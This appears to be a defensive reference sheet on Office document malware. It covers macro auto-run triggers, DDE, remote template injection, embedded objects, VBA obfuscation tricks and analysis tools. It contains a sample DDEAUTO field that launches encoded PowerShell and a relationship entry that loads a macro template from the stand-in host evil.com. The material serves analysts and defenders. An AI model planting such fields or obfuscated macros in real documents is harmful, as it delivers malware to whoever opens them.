# Office Document Malware Reference

## Attack Vectors

### VBA Macros
The most common Office malware vector. VBA code executes when user enables macros.

**Auto-Execution Triggers:**
| Trigger | Application | When Fired |
|---------|-------------|------------|
| AutoOpen | Word | Document opened |
| Document_Open | Word | Document opened (event handler) |
| AutoClose | Word | Document closed |
| Auto_Open | Excel | Workbook opened |
| Workbook_Open | Excel | Workbook opened (event handler) |
| AutoExec | Word | Normal.dotm loaded |

**Common Macro Payloads:**
1. PowerShell download cradle via `Shell()` or `WScript.Shell`
2. VBA-based file dropper using `ADODB.Stream`
3. Direct shellcode execution via `VirtualAlloc`/`RtlMoveMemory`
4. WMI process creation
5. Scheduled task creation for persistence

### DDE (Dynamic Data Exchange)
Executes commands without macros. Embedded in document fields.

```
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -e <base64>"}
```

**Detection:** Check for `DDEAUTO` or `DDE` in document XML.

### Template Injection
Document loads remote macro-enabled template on open.

**Mechanism:** External reference in `word/_rels/document.xml.rels`:
```xml
<Relationship Type="...attachedTemplate" Target="http://evil.com/template.dotm" TargetMode="External"/>
```

**Advantage to attacker:** Initial document has no macros (bypasses some scanning).

### Embedded Objects
OLE objects embedded in documents that execute on click or automatically.

**Types:** Executables, scripts, other Office documents, Flash objects.

## Common Obfuscation Techniques

| Technique | Example |
|-----------|---------|
| Chr() concatenation | `Chr(80) & Chr(111) & Chr(119)` = "Pow" |
| String reversal | `StrReverse("llehsrewop")` = "powershell" |
| Environment variables | `Environ("COMSPEC")` = cmd.exe path |
| Base64 encoding | Decode at runtime with custom function |
| Array/variable splitting | Command split across many variables |
| CallByName | Dynamic method invocation to avoid static detection |

## Analysis Tools

| Tool | Purpose |
|------|---------|
| **olevba** | VBA macro extraction and analysis |
| **oleid** | OLE file identification |
| **oleobj** | Embedded object extraction |
| **ViperMonkey** | VBA emulation/dynamic analysis |
| **XLMMacroDeobfuscator** | Excel 4.0 macro analysis |
| **msoffcrypto-tool** | Decrypt password-protected Office files |